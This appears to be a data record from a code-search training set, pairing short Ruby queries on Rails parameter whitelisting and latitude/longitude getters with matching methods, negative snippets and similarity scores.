"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def clasification_params
params.require(:clasification).permit(:clasification)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69497335",
"0.6812623",
"0.6803639",
"0.6795365",
"0.67448795",
"0.67399913",
"0.6526815",
"0.6518771",
"0.64931697",
"0.6430388",
"0.6430388",
"0.6430388",
"0.63983387",
"0.6356042",
"0.63535863",
"0.63464934",
"0.63444513",
"0.6337208",
"0.6326454",
"0.6326454",
"0.6326454",
"0.63140553",
"0.6299814",
"0.62642586",
"0.626006",
"0.62578833",
"0.6236823",
"0.6227561",
"0.6221758",
"0.62200165",
"0.620879",
"0.61983657",
"0.6195055",
"0.6172993",
"0.6156856",
"0.61558664",
"0.61521494",
"0.6135789",
"0.6121145",
"0.61118174",
"0.60736513",
"0.6071645",
"0.60632104",
"0.60549796",
"0.6043906",
"0.6034662",
"0.60207325",
"0.6018568",
"0.6016575",
"0.60103434",
"0.60084206",
"0.600763",
"0.6007443",
"0.6003619",
"0.6003619",
"0.5995791",
"0.5993301",
"0.5993231",
"0.5984926",
"0.597122",
"0.5968121",
"0.5965808",
"0.59640145",
"0.59632224",
"0.59602356",
"0.59332967",
"0.5927556",
"0.5922805",
"0.5909745",
"0.5905083",
"0.5904304",
"0.5893434",
"0.58888215",
"0.58823985",
"0.58823985",
"0.58823985",
"0.5873434",
"0.58619875",
"0.58533794",
"0.5845531",
"0.58426666",
"0.58360124",
"0.583218",
"0.5828041",
"0.5827927",
"0.5816121",
"0.5814705",
"0.5812719",
"0.581121",
"0.5803423",
"0.5803423",
"0.57995003",
"0.5794207",
"0.5784923",
"0.5781365",
"0.5776385",
"0.5774859",
"0.57671493",
"0.5766998",
"0.57618684",
"0.5758038"
] |
0.0
|
-1
|
Returns the coordinate's latitude.
|
def lat
return @latitude
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def latitude\n geo_attribute('lat')\n end",
"def latitude\n self.to_coordinates[0]\n end",
"def latitude\n coordinates[0];\n end",
"def latitude\n \tif(self.coordinates != nil)\n\t \treturn self.coordinates.y\n\t else\n\t \treturn nil\n\t end\n end",
"def latitude\n \tif(self.coordinates != nil)\n\t \treturn self.coordinates.y\n\t else\n\t \treturn nil\n\t end\n end",
"def latitude\n @latitude\n end",
"def latitude\n if public_address?\n (location['location'] || {})['latitude']\n elsif zip_coords.present?\n zip_coords[0]\n end\n end",
"def lat\n return self.city['lat'].to_f\n end",
"def lat\n round(@lat)\n end",
"def lat\n @position[0]\n end",
"def lat\n\t\tlocation.nil? ? nil : location.lat\n\tend",
"def latitude\n query_root_node(\"geo:Point/geo:lat/text()\", @@NAMESPACES)\n end",
"def lat\n self.event['lat'].to_f\n end",
"def get_latitude\n get_coord['lat']\n end",
"def latitude\n # Thread-safety: It is possible that the value of @latitude may be \n # calculated multiple times in concurrently executing threads. It is not \n # worth the overhead of locking to ensure that @latitude is only \n # calculated once.\n @latitude ||= RubyCoreSupport.rational_new!(@latitude_numerator, @latitude_denominator)\n end",
"def latitude\n location.latitude if location.latitude\n end",
"def latitude\n latitude_times_1000000.nil? ? nil : latitude_times_1000000 / 1_000_000.0\n end",
"def lat\n return self.rsvp['lat'].to_f\n end",
"def latitude\n self.wkb_geometry.coordinates[1]\n end",
"def lat\n self['latitude']\n end",
"def latitude\n -37.8136\n end",
"def lat(options={})\n to_latlng(options).lat\n end",
"def decimal_latitude\n @ce.andand.latitude.to_s\n end",
"def latitude\n end",
"def start_lat\r\n return nil if geom.nil?\r\n if geom.as_georuby.is_a?(LineString)\r\n return geom.as_georuby.points.first.y\r\n elsif geom.as_georuby.is_a?(Point)\r\n return geom.as_georuby.y \r\n end\r\n end",
"def min_latitude\n query_root_node(\"fao:hasMinLatitude/text()\", @@NAMESPACES).to_s\n end",
"def lat\n @location.latitude\n end",
"def latitude; end",
"def lat_f\n lat.to_f\n end",
"def latitude=(lat)\n @lat = lat.to_f if lat\n end",
"def lat=(latitude)\n @latr = (latitude * D_TO_R)\n @lat = latitude\n end",
"def to_lat\n self.translate(\"#{GEO}#{KA}\", \"#{LAT}#{LAT}\")\n end",
"def office_latitude\n self.dig_for_decimal(\"agentSummary\", \"office\", \"officeAddress\", \"latitude\")\n end",
"def longitude_latitude\n @items[:lonlat].values.map{|group| group.first }\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def latitude=(v)\n @lat = v\n end",
"def lat=(lat)\n @lat = lat.to_f if lat\n end",
"def lat=(lat)\n @lat = lat.to_f if lat\n end",
"def public_lat\n gps_hidden && user_id != User.current_id ? nil : lat\n end",
"def latitude_degrees\n field_value @latitude_degrees, latitude, lambda { latitude.abs.to_i }, 2, false\n end",
"def latitude_for(image_meta)\n image_meta&.gps&.latitude\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def user_coordinate\r\n\t\tconvert_coordinate(1)\r\n\tend",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_Latitude(value)\n set_input(\"Latitude\", value)\n end",
"def set_MinLatitude(value)\n set_input(\"MinLatitude\", value)\n end",
"def set_MinLatitude(value)\n set_input(\"MinLatitude\", value)\n end",
"def construct_latitude\n unless [@latitude_degrees, @latitude_minutes, @latitude_milli_minutes, @latitude_hemisphere].all? { |attr| attr.blank? }\n default_to_zero :@latitude_minutes, :@latitude_milli_minutes\n lat_deg = to_bounded_float @latitude_degrees, 90, :@latitude_degrees_invalid\n lat_min = to_bounded_float @latitude_minutes, 59, :@latitude_minutes_invalid\n lat_milli_min = to_bounded_float @latitude_milli_minutes, 999, :@latitude_milli_minutes_invalid\n lat_hem = to_hemisphere @latitude_hemisphere, %w(N S), :@latitude_hemisphere_invalid\n\n unless @latitude_degrees_invalid || @latitude_minutes_invalid ||\n @latitude_milli_minutes_invalid || @latitude_hemisphere_invalid\n self.latitude = coordinates_to_float lat_deg, lat_min, lat_milli_min, lat_hem\n end\n end\n end",
"def lon\r\n return @longitude\r\n end",
"def point_x\n self.coord.split(\"_\")[0]\n end",
"def rlat\n # lat * PI / 180\n self.lat * 0.01745329251994\n end",
"def asMapPoint\n # MKMapPointForCoordinate(self.asCLPoint)\n MKMapPointMake(@latitude, @longitude)\n end",
"def latitude?\n if latitude.nil?\n errors.add(:base, \"GPS location not present\")\n return false\n end\n return true\n end",
"def latitude_longitude\n lambda {|d|\n if d.latitude_start?\n d.latitude = d.latitude_start\n d.delete :latitude_start\n end\n\n if d.longitude_start?\n d.longitude = d.longitude_start\n d.delete :longitude_start\n end\n log.info \"#{d.latitude} #{d.longitude}\"\n d\n }\n end",
"def min_longitude\n query_root_node(\"fao:hasMinLongitude/text()\", @@NAMESPACES).to_s\n end",
"def getStartPoint()\n geoObject().firstPoint() ;\n end",
"def lonlat\r\n [longitude,latitude]\r\n end",
"def lonlat\r\n [longitude,latitude]\r\n end",
"def latlng\n [lat, lon]\n end",
"def latlon\r\n [latitude,longitude]\r\n end",
"def latlon\r\n [latitude,longitude]\r\n end",
"def latlon\r\n [latitude,longitude]\r\n end",
"def latitude=(lat)\n write_attribute(:latitude, lat.round(10)) if lat\n end",
"def coordinate \n @coordinate\n end",
"def coordinates\n [latitude, longitude]\n end",
"def get_longitude\n get_coord['lon']\n end",
"def to_latlong\n end",
"def longitude\n @longitude\n end",
"def min_position\n MSPhysics::Newton::Corkscrew.get_min_position(@address)\n end",
"def lat_dms\n self.class.decimal_to_dms(lat)\n end",
"def lon\n @position[1]\n end",
"def x\n OFFSET_FROM_LEFT + (coordinates.x * 700).to_i\n end",
"def longitude_latitude\n attrs = sample_attributes_array\n\n longitude = attrs.first_matching('longitude') #e.g. SRR027089\n longitude ||= attrs.first_matching('Geographic location (longitude)') #e.g. ERR193639\n\n latitude = attrs.first_matching('latitude')\n latitude ||= attrs.first_matching('Geographic location (latitude)')\n\n if longitude and latitude\n if longitude[1].match(/^\\d+\\.\\d+$/) and latitude[1].match(/^\\d+\\.\\d+$/)\n return longitude[1].to_f, latitude[1].to_f\n else\n # Hell begins here. e.g. ERR011387 => 40º 02’ N\n return nil\n end\n elsif hit = attrs.first_matching('lat_lon')\n if matches = hit[1].match(/^(\\d+\\.\\d+) (\\d+\\.\\d+)$/)\n return matches[1].to_f, matches[2].to_f\n else\n return nil\n end\n else\n return nil\n end\n end",
"def start_coords\n marker_coords('S')\n end",
"def lat_lon\n [lat, lon]\n end",
"def setLonLat\n # keep in mind that this format is longitude, latitude, not the other way\n self.lonlat = \"POINT(#{longitude} #{latitude})\"\n end",
"def dlat\n @_dlat ||= _safe_sqrt(ssq_lat/weight - (sum_lat/weight)**2)\n end",
"def geom_coords\n# self.geom.geometry_n(0).y.to_s + \" \" + self.geom.geometry_n(0).x.to_s\n \"\" + self.latitude.to_s + \" \" + self.longitude.to_s\n end",
"def min_x\n @pos.x\n end",
"def latitude=(latitude)\n if !latitude.nil? && latitude > 90\n fail ArgumentError, 'invalid value for \"latitude\", must be smaller than or equal to 90.'\n end\n\n if !latitude.nil? && latitude < 0\n fail ArgumentError, 'invalid value for \"latitude\", must be greater than or equal to 0.'\n end\n\n @latitude = latitude\n end",
"def x\n @position.x\n end",
"def location\n [lat.to_f / 100_000, lng.to_f / 100_000]\n end",
"def meters_to_lon_lat(mx, my)\n lon = (mx / @origin_shift) * 180.0\n lat = (my / @origin_shift) * 180.0\n\n lat = 180 / Math::PI * (2 * Math.atan(Math.exp(lat * Math::PI / 180.0)) - Math::PI / 2.0)\n [lon, lat]\n end",
"def compute_latitude_precision\n if code_length <= 10\n return 20**(code_length/-2.0 + 2).floor\n end\n\n (20**-3).to_f/GRID_ROWS**(code_length - 10)\n end",
"def point(latitude, longitude, srid: 4326)\n st_point = <<~sql\n DECLARE @point geography = geography::STPointFromText('POINT(#{longitude} #{latitude})', #{srid});\n SELECT @point as point;\n sql\n db.fetch(st_point).first[:point]\n end",
"def longitude\n self.to_coordinates[1]\n end"
] |
[
"0.81763697",
"0.81739193",
"0.815997",
"0.79705924",
"0.79705924",
"0.7879613",
"0.764805",
"0.7607237",
"0.75363827",
"0.7529193",
"0.7521371",
"0.7493734",
"0.7419465",
"0.74028563",
"0.7374033",
"0.7320704",
"0.7243116",
"0.7211252",
"0.7183088",
"0.71645087",
"0.7118947",
"0.69766784",
"0.69164795",
"0.69110787",
"0.68932545",
"0.68878394",
"0.6885803",
"0.68674093",
"0.674336",
"0.64704525",
"0.64547086",
"0.6374702",
"0.6364126",
"0.63113683",
"0.63052005",
"0.6304418",
"0.6250634",
"0.6250634",
"0.6173403",
"0.6171486",
"0.6162014",
"0.6106129",
"0.6106129",
"0.6106129",
"0.6106129",
"0.6106129",
"0.6106129",
"0.6106129",
"0.6106129",
"0.6106129",
"0.6106129",
"0.6106129",
"0.61037564",
"0.6103044",
"0.6103044",
"0.6103044",
"0.60935205",
"0.6066289",
"0.6066289",
"0.6053412",
"0.6053412",
"0.6046815",
"0.6040259",
"0.6038432",
"0.60147274",
"0.5987485",
"0.5986244",
"0.5984994",
"0.5940903",
"0.5922551",
"0.59091103",
"0.59091103",
"0.58884776",
"0.587493",
"0.587493",
"0.587493",
"0.5873701",
"0.5860921",
"0.5792596",
"0.57862014",
"0.5749403",
"0.5749149",
"0.5745437",
"0.57059395",
"0.56826675",
"0.56821656",
"0.5672381",
"0.56629354",
"0.5615109",
"0.5601642",
"0.56005955",
"0.5599749",
"0.5580242",
"0.55324435",
"0.55157703",
"0.55138683",
"0.5506861",
"0.549757",
"0.54750824",
"0.54731387"
] |
0.76033735
|
8
|
Returns the coordinate's longitude.
|
def lon
return @longitude
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def longitude\n self.to_coordinates[1]\n end",
"def longitude\n geo_attribute('long')\n end",
"def longitude\n @longitude\n end",
"def longitude\n if public_address?\n (location['location'] || {})['longitude']\n elsif zip_coords.present?\n zip_coords[1]\n end\n end",
"def get_longitude\n get_coord['lon']\n end",
"def longitude\n # Thread-safety: It is possible that the value of @longitude may be \n # calculated multiple times in concurrently executing threads. It is not \n # worth the overhead of locking to ensure that @longitude is only \n # calculated once.\n @longitude ||= RubyCoreSupport.rational_new!(@longitude_numerator, @longitude_denominator)\n end",
"def longitude\r\n\t\t\t@longitude ||=json['position']['longitude']\r\n\t\tend",
"def longitude\n longitude_times_1000000.nil? ? nil : longitude_times_1000000 / 1_000_000.0\n end",
"def longitude\n query_root_node(\"geo:Point/geo:long/text()\", @@NAMESPACES)\n end",
"def long\n self['longitude']\n end",
"def longitude\n respond_to?(:constituencyAreaLongitude) ? constituencyAreaLongitude : ''\n end",
"def lon\n @position[1]\n end",
"def lon\n @location.longitude\n end",
"def longitude; end",
"def longitude=(lng)\n @lng = lng.to_f if lng\n end",
"def lon=(longitude)\n @lonr = (longitude * D_TO_R)\n @lon = longitude\n end",
"def lng\n round(@lng)\n end",
"def longitude\n end",
"def max_longitude\n query_root_node(\"fao:hasMaxLongitude/text()\", @@NAMESPACES).to_s\n end",
"def office_longitude\n self.dig_for_decimal(\"agentSummary\", \"office\", \"officeAddress\", \"longitude\")\n end",
"def lng(options={})\n to_latlng(options).lng\n end",
"def longitude?\n if longitude.nil?\n errors.add(:base, \"GPS location not present\")\n return false\n end\n return true\n end",
"def longitude=(longitude)\n if !longitude.nil? && longitude > 180\n fail ArgumentError, 'invalid value for \"longitude\", must be smaller than or equal to 180.'\n end\n\n if !longitude.nil? && longitude < 0\n fail ArgumentError, 'invalid value for \"longitude\", must be greater than or equal to 0.'\n end\n\n @longitude = longitude\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def lonlat\r\n [longitude,latitude]\r\n end",
"def lonlat\r\n [longitude,latitude]\r\n end",
